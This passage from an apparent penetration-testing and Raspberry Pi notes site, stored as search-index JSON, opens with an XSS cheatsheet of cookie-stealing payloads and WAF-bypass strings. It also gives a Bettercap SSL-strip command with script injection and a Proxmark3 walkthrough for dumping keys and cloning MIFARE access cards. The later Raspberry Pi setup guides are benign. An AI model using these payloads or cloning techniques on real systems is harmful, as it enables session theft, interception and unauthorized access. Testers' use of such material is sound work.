      If an attacker managed to push XSS through the filter, WAF wouldn\u2019t be able to prevent the attack conduction.

      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#reflected-xss-in-javascript", "title": "Reflected XSS in Javascript", "text": "
      Example: <script> ... setTimeout(\\\\\"writetitle()\\\\\",$\\_GET\\[xss\\]) ... </script>\nExploitation: /?xss=500); alert(document.cookie);//\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#dom-based-xss", "title": "DOM-based XSS", "text": "
      Example: <script> ... eval($\\_GET\\[xss\\]); ... </script>\nExploitation: /?xss=document.cookie\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#xss-via-request-redirection", "title": "XSS via request Redirection", "text": "
      • Vulnerable code:
      ...\nheader('Location: '.$_GET['param']);\n...\n

      As well as:

      ..\nheader('Refresh: 0; URL='.$_GET['param']);\n...\n
      • This request will not pass through the WAF:

      /?param=<javascript:alert(document.cookie>)

      • This request will pass through the WAF and an XSS attack will be conducted in certain browsers.

      /?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#waf-bypass-strings-for-xss", "title": "WAF ByPass Strings for XSS", "text": "
      • <Img src = x onerror = \"javascript: window.onerror = alert; throw XSS\">
      • <Video> <source onerror = \"javascript: alert (XSS)\">
      • <Input value = \"XSS\" type = text>
      • <applet code=\"javascript:confirm(document.cookie);\">
      • <isindex x=\"javascript:\" onmouseover=\"alert(XSS)\">
      • \"></SCRIPT>\u201d>\u2019><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
      • \"><img src=\"x:x\" onerror=\"alert(XSS)\">
      • \"><iframe src=\"javascript:alert(XSS)\">
      • <object data=\"javascript:alert(XSS)\">
      • <isindex type=image src=1 onerror=alert(XSS)>
      • <img src=x:alert(alt) onerror=eval(src) alt=0>
      • <img src=\"x:gif\" onerror=\"window['al\\u0065rt'](0)\"></img>
      • <iframe/src=\"data:text/html,<svg onload=alert(1)>\">
      • <meta content=\"&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)\" http-equiv=\"refresh\"/>
      • <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
      • <meta http-equiv=\"refresh\" content=\"0;url=javascript:confirm(1)\">
      • <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
      • <form><a href=\"javascript:\\u0061lert(1)\">X
      • </script><img/*%00/src=\"worksinchrome&colon;prompt(1)\"/%00*/onerror='eval(src)'>
      • <style>//*{x:expression(alert(/xss/))}//<style></style>
      • On Mouse Over\u200b
      • <img src=\"/\" =_=\" title=\"onerror='prompt(1)'\">
      • <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
      • <script x> alert(1) </script 1=2
      • <form><button formaction=javascript&colon;alert(1)>CLICKME
      • <input/onmouseover=\"javaSCRIPT&colon;confirm&lpar;1&rpar;\"
      • <iframe src=\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\"></iframe>
      • <OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"><PARAM NAME=\"DataURL\" VALUE=\"javascript:alert(1)\"></OBJECT>
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#filter-bypass-alert-obfuscation", "title": "Filter Bypass Alert Obfuscation", "text": "
      • (alert)(1)
      • a=alert,a(1)
      • [1].find(alert)
      • top[\u201cal\u201d+\u201dert\u201d](1)
      • top[/al/.source+/ert/.source](1)
      • al\\u0065rt(1)
      • top[\u2018al\\145rt\u2019](1)
      • top[\u2018al\\x65rt\u2019](1)
      • top[8680439..toString(30)](1)
      • alert?.()
      • `${alert``}` (The payload should include leading and trailing backticks.)
      • (alert())

      source: OWASP / www-community

      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/kali-linux/bettercap1.6.2/", "title": "Bettercap 1.6.2 Installation", "text": "", "tags": ["penetration-testing", "tools"]}, {"location": "penetration-testing/kali-linux/bettercap1.6.2/#bettercap-162-installation", "title": "Bettercap 1.6.2 Installation", "text": "

      BetterCAP is a powerful, flexible, and portable tool created to perform various types of MITM attacks against a network

      Bettercap 1.6.2 is legacy tool, but it performs ssl strip much better then Bettercap 2.x

      Install Ruby Gem

      apt install -y ruby-full libpcap-dev\ngem update --system\ngem install bettercap\n

      Bettercap 1.6.2 installs the executable to /usr/local/bin/bettercap

      Bettercap 2.x installs the executable to /usr/bin/bettercap

      Both Bettercap 1.6.2 and 2.x shares the same executable name. In order to privet any collisions we will rename the Bettercap 1.6.2 executable to bettercap1.6.2.

      mv /usr/local/bin/bettercap /usr/local/bin/bettercap1.6.2\n

      From this point you can run bettercap1.6.2 for Bettercap 1.6.2 and bettercap for Bettercap 2.x

      ", "tags": ["penetration-testing", "tools"]}, {"location": "penetration-testing/kali-linux/bettercap1.6.2/#bettercap-162-ssl-strip-examples", "title": "Bettercap 1.6.2 SSL Strip Examples", "text": "

      Basic SSL Strip Example

      bettercap1.6.2 -X -T 192.168.1.104 --proxy\n

      SSL Strip With XSS Example

      bettercap1.6.2 -X -T 192.168.3.104 --proxy --proxy-module injectjs --js-data \"<script>alert('SSL STRIP, Script Injection')</script>\"\n
      ", "tags": ["penetration-testing", "tools"]}, {"location": "penetration-testing/kali-linux/bettercap1.6.2/#dbug", "title": "Dbug", "text": "

      To find that Bettercap installation from ruby gems:

      gem environment\n

      the path should be under GEM PATHP for example:

      /var/lib/gems/2.7.0/gems/bettercap-1.6.2\n
      ", "tags": ["penetration-testing", "tools"]}, {"location": "penetration-testing/kali-linux/kali-linux/", "title": "Kali Linux", "text": "", "tags": ["penetration-testing", "kali-linux", "kali"]}, {"location": "penetration-testing/kali-linux/kali-linux/#minimal-headless-kali-linux-installation-works-for-cloud-vm-installation-no-gui", "title": "Minimal Headless Kali Linux installation - Works for Cloud VM Installation (NO GUI)", "text": "

      This is a simple guide to install Minimal Headless Kali Linux by converting a Debian Linux to Kali Linux distro without any unnecessary tools. Basically you install the tools you need.

      Platforms Minimum Monthly Price DigitalOcean.com 5$ (This link provides 100$ for 60 days)

      First of all we will need a clean Debian Linux local or at any cloud provider with ssh access

      Let's convert! We will install two packages which allow as to replace Debian's repo to kali repo

      apt update\n
      apt install -y gnupg gnupg2 wget\n
      wget -q -O - https://archive.kali.org/archive-key.asc  | apt-key add\n
      rm -rf /etc/apt/sources.list\n
      echo \"deb http://http.kali.org/kali kali-rolling main contrib non-free\" >> /etc/apt/sources.list\n

      Now after we replaced the repo to Kali we need to install the Basic Kali Linux core

      apt -y update\n
      apt-cache search kali-linux\n
      apt install -y kali-linux-core\n
      apt-get -y update\n
      apt-get -y dist-upgrade\n
      apt-get -y autoremove\n

      Reboot the server to complete the conversion process.

      In order to test that you are using Kali Linux

      uname -a\n
      Or you can check the contents of the /etc/os-release file for this Debian distribution.

      After we got our new Minimal Kali ready we need to cleanup some Debian's leftovers to finnish

      systemctl stop rpcbind.socket rpcbind smbd\n
      systemctl disable rpcbind.socket rpcbind smbd\n

      That's It, now we can install any package we need from Kali repo.

      Here are some of my personal packages I use daily

      apt update && apt install -y \\\ncurl wget git dnsutils whois net-tools htop locate telnet traceroute \\\ndirb wfuzz dirbuster enum4linux gobuster nbtscan nikto nmap \\\nonesixtyone oscanner smbclient fern-wifi-cracker crowbar smbmap \\\nsmtp-user-enum sslscan tnscmd10g whatweb snmpcheck wkhtmltopdf \\\nsipvicious seclists wordlists hydra bully netcat-openbsd netcat-traditional \\\nadb fastboot realtek-rtl88xxau-dkms docker docker-compose crunch \\\nwifite apktool apksigner zipalign default-jre default-jdk man-db \\\nscreenfetch xsltproc binwalk python3-pip zlib1g-dev python2.7-dev \\\nsubfinder chrony hcxtools libssl-dev hcxdumptool hashcat hash-identifier \\\nlibpcap-dev npm sqlmap wpscan exploitdb minicom screen hashid nfs-common\n
      ", "tags": ["penetration-testing", "kali-linux", "kali"]}, {"location": "penetration-testing/kali-linux/kali-linux/#fix-ssh-broken-pipe-in-kali", "title": "Fix SSH Broken Pipe in Kali", "text": "
      nano ~/.ssh/config\n

      add this:

      Host *\n    IPQoS=throughput\n
      ", "tags": ["penetration-testing", "kali-linux", "kali"]}, {"location": "penetration-testing/kali-linux/links/", "title": "Links for Penetration Testing Tools", "text": "", "tags": ["pt", "tools"]}, {"location": "penetration-testing/kali-linux/links/#usefully-tools-for-pentesters", "title": "Usefully Tools for Pentesters", "text": "Links Description Eicar Files Files With Virus Signature Credit Card Generator PayPal Credit Card Generator - Login Required ipleak.net Displays Information About Your IP mxtoolbox Network Tools Related to DNS jwt.io Allows You to Decode, Verify and Generate Json Web Tokens DNS Dumpster Domain Research Tool That Can Discover Hosts Related to a Domain SSL-Lab Deep Analysis of The Configuration of any SSL Web Server GraphQLmap Engine to interact with a graphqlr endpoint for penetration-testing purposes.", "tags": ["pt", "tools"]}, {"location": "penetration-testing/kali-linux/metasploit/", "title": "Metasploit Framework", "text": "", "tags": ["pt", "tools", "metasploit"]}, {"location": "penetration-testing/kali-linux/metasploit/#installation", "title": "Installation", "text": "
      apt install -y metasploit-framework postgresql\n
      systemctl enable postgresql\n
      systemctl start postgresql\n
      msfdb init\n

      Start:

      msfconsole\n
      ", "tags": ["pt", "tools", "metasploit"]}, {"location": "penetration-testing/kali-linux/wifite/", "title": "Wifite", "text": "

      Wifite is an automated wireless attack tool.

      Wifite2 Github page

      In order to perform wifi attacks you need a wifi card with Monitor Mode and Frame Injection like Realtek rtl8812au chipset.

      Suggested Wifi Dongles

      • Alfa AWUS036ACH
      • Alfa AC1900
      • 1200Mbps USB WiFi Adapter
      • Alfa AWUS036ACS
      ", "tags": ["pt", "tools", "wifi"]}, {"location": "penetration-testing/kali-linux/wifite/#install-in-kali", "title": "Install in kali", "text": "
      apt install wifite\n
      ", "tags": ["pt", "tools", "wifi"]}, {"location": "penetration-testing/kali-linux/wifite/#install-pyrit-for-wifite", "title": "Install Pyrit for Wifite", "text": "

      Pyrit Github page

      Install dependencies

      apt install python zlib openssl git\n

      The Install

      cd ~\ngit clone https://github.com/JPaulMora/Pyrit.git;\npip install psycopg2 scapy;\ncd Pyrit\npython setup.py clean;\npython setup.py build;\npython setup.py install;\nrm -rf ~/Pyrit\n
      ", "tags": ["pt", "tools", "wifi"]}, {"location": "penetration-testing/proxmark/about-proxmark/", "title": "About Proxmark3", "text": "

      The Proxmark is an RFID swiss-army tool, allowing for both high and low level interactions with the vast majority of RFID tags and systems world-wide.

      There are few Promark Devices, and you can find them at the offical website. I personally use the device at the picture above, you can get one at

      • Proxmark3 - Amazon
      • Proxmark3 - Aliexpress

      it's cheap and suites my needs

      The RFID tags i use are duel band tags 13.56Mhz and 125KHz

      • RFID tags - Amazon
      • RFID tags - Aliexpress

      Useful Links:

      • Official Proxmark Website
      • Official Proxmark3 Github Repo
      • Andprox - Android client
      ", "tags": ["pt", "tools", "rfid"]}, {"location": "penetration-testing/proxmark/cheatsheet/", "title": "Proxmark3 CheatSheet", "text": "", "tags": ["pt", "tools", "rfid"]}, {"location": "penetration-testing/proxmark/cheatsheet/#basics", "title": "Basics", "text": "Command Description hf search Identify High Frequency cards lf search Identify Low Frequency cards hw tune Measure antenna characteristics, LF/HF voltage should be around 20-45+ V hw version Check version hw status Check overall status", "tags": ["pt", "tools", "rfid"]}, {"location": "penetration-testing/proxmark/mifare-tags/", "title": "Clone Mifare Classic 1K ISO14443A", "text": "", "tags": ["pt", "tools", "rfid"]}, {"location": "penetration-testing/proxmark/mifare-tags/#read-mifare-iso14443a-basic-information", "title": "Read Mifare ISO14443A Basic Information", "text": "
      proxmark3> hf search\n

      Which results in a response along the lines of:

       #db# DownloadFPGA(len: 42096)\nUID : de 0f 3d cd\nATQA : 00 04\nSAK : 08 [2]\nTYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1\nproprietary non iso14443-4 card found, RATS not supported\nNo chinese magic backdoor command detected\nPrng detection: HARDENED (hardnested)\nValid ISO14443A Tag Found - Quiting Search\n

      As we can see the output ISO14443A Tag Found it's Mifare 1k card.

      This also shows us the UID de0f3dcd of the card, which we\u2019ll need later.

      ", "tags": ["pt", "tools", "rfid"]}, {"location": "penetration-testing/proxmark/mifare-tags/#find-and-extract-the-32-keys-from-the-mifare-iso14443a", "title": "Find and Extract the 32 Keys From The Mifare ISO14443A", "text": "

      From there we can find keys in use by checking against a list of default keys (hopefully one of these has been used)

      proxmark3> hf mf chk * ?\n

      This should show us the key we require looking something like

      No key specified, trying default keys\nchk default key[ 0] ffffffffffff\nchk default key[ 1] 000000000000\nchk default key[ 2] a0a1a2a3a4a5\nchk default key[ 3] b0b1b2b3b4b5\nchk default key[ 4] aabbccddeeff\nchk default key[ 5] 4d3a99c351dd\nchk default key[ 6] 1a982c7e459a\nchk default key[ 7] d3f7d3f7d3f7\nchk default key[ 8] 714c5c886e97\nchk default key[ 9] 587ee5f9350f\nchk default key[10] a0478cc39091\nchk default key[11] 533cb6c723f6\nchk default key[12] 8fd0a4f256e9\n--sector: 0, block:  3, key type:A, key count:13\nFound valid key:[ffffffffffff]\n...omitted for brevity...\n--sector:15, block: 63, key type:B, key count:13\nFound valid key:[ffffffffffff]\n

      If you see Found valid key:[ffffffffffff]

      This shows a key of ffffffffffff, which we can plug into the next command, which dumps keys to file dumpkeys.bin.

      proxmark3> hf mf nested 1 0 A ffffffffffff d\n

      If you see see an a table like this in output without valid key

      |---|----------------|---|----------------|---|\n|sec|key A           |res|key B           |res|\n|---|----------------|---|----------------|---|\n|000|  a0a1a2a3a4a5  | 1 |  ffffffffffff  | 0 |\n|001|  ffffffffffff  | 0 |  ffffffffffff  | 0 |\n|002|  a0a1a2a3a4a5  | 1 |  ffffffffffff  | 0 |\n|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|006|  ffffffffffff  | 1 |  ffffffffffff  | 0 |\n|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |\n|---|----------------|---|----------------|---|\n

      In this case use 002 key like this

      proxmark3> hf mf nested 1 0 A a0a1a2a3a4a5 d\n

      Now you should be able to dump the contents of the 32 keys from the original card. This dumps data from the card into dumpdata.bin

      proxmark3> hf mf dump\n
      ", "tags": ["pt", "tools", "rfid"]}, {"location": "penetration-testing/proxmark/mifare-tags/#clone-mifare-iso14443a-using-the-dumped-keys", "title": "Clone Mifare ISO14443A Using The Dumped Keys", "text": "

      At this point we\u2019ve got everything we need from the card, we can take it off the reader.

      To copy that data onto a new card, place the (Chinese backdoor) card on the Proxmark.

      This restores the dumped data onto the new card. Now we just need to give the card the UID we got from the original hf search command

      proxmark3> hf mf restore 1\n

      Copy the UID of the original card de0f3dcd

      proxmark3> hf mf csetuid de0f3dcd\n

      We\u2019re done.

      ", "tags": ["pt", "tools", "rfid"]}, {"location": "penetration-testing/utilities/clickjacking/", "title": "Clickjacking Test Page", "text": "

      Full Screen Version

      ", "tags": ["pt", "tools", "clickjacking"]}, {"location": "penetration-testing/utilities/idd-generator/", "title": "IID Generator & Validator", "text": "", "tags": ["pt", "tools", "IID"]}, {"location": "penetration-testing/utilities/idd-generator/#description", "title": "Description", "text": "

      This is a simple Java Script tool to validate or generate a random Israel's ID number.

      ", "tags": ["pt", "tools", "IID"]}, {"location": "penetration-testing/utilities/idd-generator/#credit-sources", "title": "Credit & Sources", "text": "

      The code was built by Georgy Bunin and cloned from his repository. It was slightly modified to fit this website.

      ", "tags": ["pt", "tools", "IID"]}, {"location": "raspberry-pi/docker-raspberrypi/", "title": "Docker and Docker-compose on Raspberry Pi", "text": "", "tags": ["docker", "raspberry-pi", "docker-compose"]}, {"location": "raspberry-pi/docker-raspberrypi/#how-to-install-docker-on-raspberry-pi", "title": "How to install docker on Raspberry Pi", "text": "
      sudo apt install -y docker.io\n
      ", "tags": ["docker", "raspberry-pi", "docker-compose"]}, {"location": "raspberry-pi/docker-raspberrypi/#runing-docker-as-root", "title": "Runing Docker as root", "text": "
      sudo usermod -aG docker pi\n
      ", "tags": ["docker", "raspberry-pi", "docker-compose"]}, {"location": "raspberry-pi/docker-raspberrypi/#manage-docker-as-a-non-root-user", "title": "Manage Docker as a non-root user", "text": "

      The Docker daemon binds to a Unix socket instead of a TCP port. By default that Unix socket is owned by the user root and other users can only access it using sudo. The Docker daemon always runs as the root user.

      If you don\u2019t want to preface the docker command with sudo, create a Unix group called docker and add users to it. When the Docker daemon starts, it creates a Unix socket accessible by members of the docker group.

      Warning

      The docker group grants privileges equivalent to the root user.

      sudo groupadd docker\nsudo usermod -aG docker $USER\nnewgrp docker\n
      ", "tags": ["docker", "raspberry-pi", "docker-compose"]}, {"location": "raspberry-pi/docker-raspberrypi/#how-to-install-docker-compose-on-raspberry-pi", "title": "How to install docker-compose on Raspberry Pi", "text": "
      sudo apt install docker-compose\n
      ", "tags": ["docker", "raspberry-pi", "docker-compose"]}, {"location": "raspberry-pi/external-power-button/", "title": "External Power Button For Raspberry Pi", "text": "

      Python script to control Raspberry Pi with external power button - Wake/Power Off/Restart(Double Press)

      Official Github Repo

      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/external-power-button/#raspberry-pi-power-button-wakepower-offrestartdouble-press", "title": "Raspberry Pi Power Button - Wake/Power Off/Restart(Double Press)", "text": "", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/external-power-button/#information", "title": "Information", "text": "

      When Raspberry Pi is powered off, shortening GPIO3 (Pin 5) to ground will wake the Raspberry Pi.

      This script uses pin GPIO3(5), Ground(6) with momentary button.

      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/external-power-button/#requirements", "title": "Requirements", "text": "
      • python3-gpiozero

      Can be install via apt

      sudo apt install python3-gpiozero\n
      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/external-power-button/#install", "title": "Install", "text": "

      This will install the script as service and it will run at boot

      curl https://raw.githubusercontent.com/fire1ce/raspberry-pi-power-button/main/install.sh | bash\n
      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/external-power-button/#uninstall", "title": "Uninstall", "text": "
      curl https://raw.githubusercontent.com/fire1ce/raspberry-pi-power-button/main/uninstall.sh | bash\n
      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/external-power-button/#default-behavior", "title": "Default Behavior", "text": "Button Press (Raspberry Pi is ON) Behavior Single Nothing Double Reboot Long press and releases (above 3 seconds) Power off Button Press (Raspberry Pi is OFF) Behavior Single Power On", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/external-power-button/#check-if-service-is-running", "title": "Check if service is running", "text": "
      sudo systemctl status power_button.service\n
      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/motion-sensor-display-control/", "title": "Motion Sensor Display Control", "text": "

      Python script to control connected display to Raspberry Pi using Motion Sensor (pir).

      Official Github Repo

      ", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/motion-sensor-display-control/#information", "title": "Information", "text": "

      This script uses pin GPIO4(7) to read data from Motion (PIR) Sensor, Any 5v and ground for PIR Sensor

      ", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/motion-sensor-display-control/#requirements", "title": "Requirements", "text": "
      • python3-gpiozero

      Can be install via apt

      sudo apt install python3-gpiozero\n
      ", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/motion-sensor-display-control/#install", "title": "Install", "text": "

      This will install the script as service and it will run at boot

      curl https://raw.githubusercontent.com/fire1ce/raspberry-pi-pir-motion-display-control/main/install.sh | bash\n
      ", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/motion-sensor-display-control/#uninstall", "title": "Uninstall", "text": "
      curl https://raw.githubusercontent.com/fire1ce/raspberry-pi-pir-motion-display-control/main/uninstall.sh | bash\n
      ", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/motion-sensor-display-control/#default-behavior", "title": "Default Behavior", "text": "Condition Behavior Motion while display is off Turns on display for 60 sec Motion while display is on Resets the timer for another 60 sec No motion > 60 sec Turns off the display", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/motion-sensor-display-control/#config", "title": "Config", "text": "

      File

      /usr/local/bin/motion-display-control.py\n

      You can change Data Pin of the PIR Sensor at gpio_pin value You can change Delay at display_delay value

      Line

      motion = Motion(gpio_pin=4, display_delay=60, verbose=False)\n

      Restart the service to apply changes

      sudo systemctl restart power_button.service\n
      ", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/motion-sensor-display-control/#debug", "title": "Debug", "text": "

      In order to allow verbose debug change the following

      File

      /usr/local/bin/motion-display-control.py\n

      Line

      Set verbose value to True

      motion = Motion(gpio_pin=4, display_delay=60, verbose=True)\n

      Restart the service to apply changes

      sudo systemctl restart motion-display-control.service\n
      ", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/motion-sensor-display-control/#check-if-service-is-running", "title": "Check if service is running", "text": "
      sudo systemctl status motion-display-control.service\n
      ", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/motion-sensor-display-control/#contributors", "title": "Contributors", "text": "

      Thanks to Boris Berman for the script rewrite from function to classes

      ", "tags": ["raspberry-pi", "motion-sensor", "automation"]}, {"location": "raspberry-pi/snippets/", "title": "Snippets", "text": "", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/snippets/#enable-ssh-on-raspberry-pi-without-a-screen", "title": "Enable SSH on Raspberry Pi Without a Screen", "text": "

      Put the micro SD card into your computer You'll have to locate the boot directory at your SD card

      for example:

      cd /Volumes/boot\n

      All you have to do is create an empty file called ssh.

      touch ssh\n

      That's it. Insert the SD card to the Pi. You should have enabled SSH at boot.

      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/snippets/#default-user-and-password-after-installation", "title": "Default User and Password After Installation", "text": "
      User: pi\nPassword: raspberry\n
      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/snippets/#basic-configuration", "title": "Basic Configuration", "text": "
      sudo raspi-config\n
      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/snippets/#update-os", "title": "Update OS", "text": "
      sudo apt-get update && sudo apt-get upgrade -y\n
      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/snippets/#disable-ipv6-on-raspberry-pi-os", "title": "Disable IPv6 on Raspberry Pi Os", "text": "

      Edit \u201c/etc/sysctl.conf\u201d:

      sudo nano /etc/sysctl.conf\n

      Add this to the end:

      net.ipv6.conf.all.disable_ipv6=1\nnet.ipv6.conf.default.disable_ipv6=1\nnet.ipv6.conf.lo.disable_ipv6=1\nnet.ipv6.conf.eth0.disable_ipv6 = 1\n

      Save and close the file. Edit \u201c/etc/rc.local\u201d:

      sudo nano /etc/rc.local\n

      Add this to the end (but before \u201cexit 0\u201d):

      systemctl restart procps\n

      Save and close the file. Reboot

      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/snippets/#show-raspberry-temperature", "title": "Show Raspberry Temperature", "text": "
      /opt/vc/bin/vcgencmd measure_temp\n
      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/snippets/#samba-for-raspberrypi", "title": "Samba for RaspberryPi", "text": "
      sudo apt-get update\nsudo apt-get install -y samba samba-common-bin smbclient cifs-utils\nsudo smbpasswd -a pi ( my-pi-samba-remote-password )\nsudo nano /etc/samba/smb.conf\n

      change:

      workgroup = YOUR WINDOWS WORKGROUP NAME\n

      add at end:

      [share]\npath = /home/pi/Desktop/share\n    available = yes\n    valid users = pi\n    read only = no\n    browsable = yes\n    public = yes\n    writable = yes\n

      the shared path must exist: ( if you work via desktop ( HDMI or VNC ) it is very convenient just to read or drop from/to this shared dir ) mkdir /home/pi/Desktop/share

      sudo reboot\n

      Start samba Server

      sudo /usr/sbin/service smbd start\n
      ", "tags": ["raspberry-pi"]}, {"location": "raspberry-pi/guides/3g-modem-host/", "title": "3g Modem Host Configuration", "text": "

      Install ubuntu server for raspberrypi using Raspberry Pi Imager{}

      ", "tags": ["raspberry-pi", "3g-modem"]}, {"location": "raspberry-pi/guides/3g-modem-host/#packages-installation", "title": "Packages Installation", "text": "
      apt install -y ppp curl wget git dnsutils whois net-tools htop gcc libusb-1.0-0-dev iptables-persistent isc-dhcp-server\n

      After the install add a symlink

      ln -s /usr/include/libusb-1.0/libusb.h /usr/include/libusb.h\n
      ", "tags": ["raspberry-pi", "3g-modem"]}, {"location": "raspberry-pi/guides/3g-modem-host/#sakis3g-script-installation", "title": "sakis3g Script Installation", "text": "

      Clone, Compile, and copy to /usr/bin/

      git clone https://github.com/Trixarian/sakis3g-source.git\ncd sakis3g-source\n./compile\ncp build/sakis3gz /usr/bin/sakis3g\n

      Create new script for auto connect

      nano /usr/bin/sakis3gConnect.sh\n

      Note

      interactive connect (for testing) bash sakis3g --interactive

      Copy the following

      #!/bin/bash\n\n/usr/bin/sakis3g start USBINTERFACE=\"5\" APN=\"vob3g\"  APN_USER=\" \" APN_PASS=\" \"\n

      Note

      When APN credentials are epmpy, APN_USER and APN_PASS should be a string with a space

      Add executable permissions

      chmod +x sakis3gConnect.sh\n

      Run the script sakis3gConnect.sh

      You should have a new interface ppp0

      ", "tags": ["raspberry-pi", "3g-modem"]}, {"location": "raspberry-pi/guides/3g-modem-host/#configuring-dhcp-server", "title": "Configuring DHCP Server", "text": "

      !! info The following configuration assumes use of eth0 interface for the DHCP

      Edit

      nano /etc/default/isc-dhcp-server\n

      Add the following to the end of the config

      INTERFACESv4=\"eth0\"\nINTERFACESv6=\"eth0\"\n

      Edit

      nano /etc/dhcp/dhcpd.conf\n

      Change the following options to (you can choose the name servers you use):

      option domain-name \"local\";\noption domain-name-servers 8.8.8.8;\ndefault-lease-time 600;\nmax-lease-time 7200;\nddns-update-style none;\nauthoritative;\n

      Append the DHCP Network config to the end of the file (Change for your need):

      subnet 192.168.20.0 netmask 255.255.255.0 {\nrange 192.168.20.5 192.168.20.30;\noption routers 192.168.20.1;\noption domain-name-servers 8.8.8.8, 8.8.4.4;\n}\n

      Save & Exit

      run

      echo 1 > /proc/sys/net/ipv4/ip_forward\n

      Edit

      nano /etc/sysctl.conf\n

      Change the following option

      net.ipv4.ip_forward=1\n

      Restart and Test

      service isc-dhcp-server restart\nservice isc-dhcp-server status\n
      ", "tags": ["raspberry-pi", "3g-modem"]}, {"location": "raspberry-pi/guides/3g-modem-host/#configure-static-ip-for-the-th0-interface-dhcp", "title": "Configure static ip for the th0 Interface & DHCP", "text": "

      edit:

      /etc/netplan/50-cloud-init.yaml\n
      network:\n  ethernets:\n      eth0:\n            addresses: [192.168.20.1/24]\ngateway4: 192.168.20.1\n            nameservers:\n                    addresses: [1.1.1.1, 8.8.8.8]\nversion: 2\n

      After reboot you should connet to the new static ip

      ", "tags": ["raspberry-pi", "3g-modem"]}, {"location": "raspberry-pi/guides/3g-modem-host/#lets-route-all-the-trafic-to-new-interface-with-iptables", "title": "Lets route all the trafic to new interface with Iptables", "text": "
      iptables -F\niptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE\niptables --append FORWARD --in-interface eth0 -j ACCEPT\n

      Save the rules

      iptables-save > /etc/iptables/rules.v4\nip6tables-save > /etc/iptables/rules.v6\n
      ", "tags": ["raspberry-pi", "3g-modem"]}, {"location": "raspberry-pi/guides/3g-modem-host/#cron-examples", "title": "Cron examples", "text": "
      @reboot sleep 20 && /usr/bin/sakis3gConnect.sh\n*/5 * * * * /usr/bin/sakis3gConnect.sh\n
      ", "tags": ["raspberry-pi", "3g-modem"]}, {"location": "raspberry-pi/projects/magic-mirror-v2/", "title": "Magic Mirror 2.0", "text": "

      To be honest, it's not my first time building a Magic Mirror project. My first magicmirror can be found here. The Magic Mirror 2.0 is based on Raspberry Pi 4 with Docker Container.

      ", "tags": ["raspberry-pi", "magicmirror"]}, {"location": "raspberry-pi/projects/magic-mirror-v2/#references", "title": "References", "text": "

      magicmirror.builders official website. khassel's magicmirror docker image documentation website.

      ", "tags": ["raspberry-pi", "magicmirror"]}, {"location": "raspberry-pi/projects/magic-mirror-v2/#the-build-process", "title": "The Build Process", "text": "

      I had dead iMac 2011 27\" with 2k display. I've managed to use it's LCD panel with this product from AliExpress. It actually a full controller for the specific LCD panel, including the inverter for backlight. Basically, it's a full-fledged LCD Monitor with HDMI we need for the Raspberry Pi 4.

      I've decided to test the controller for the LCD Panel inside the original iMac's body.

      I've connected raspberry to the new monitor for the magicmirror testing and configuration.

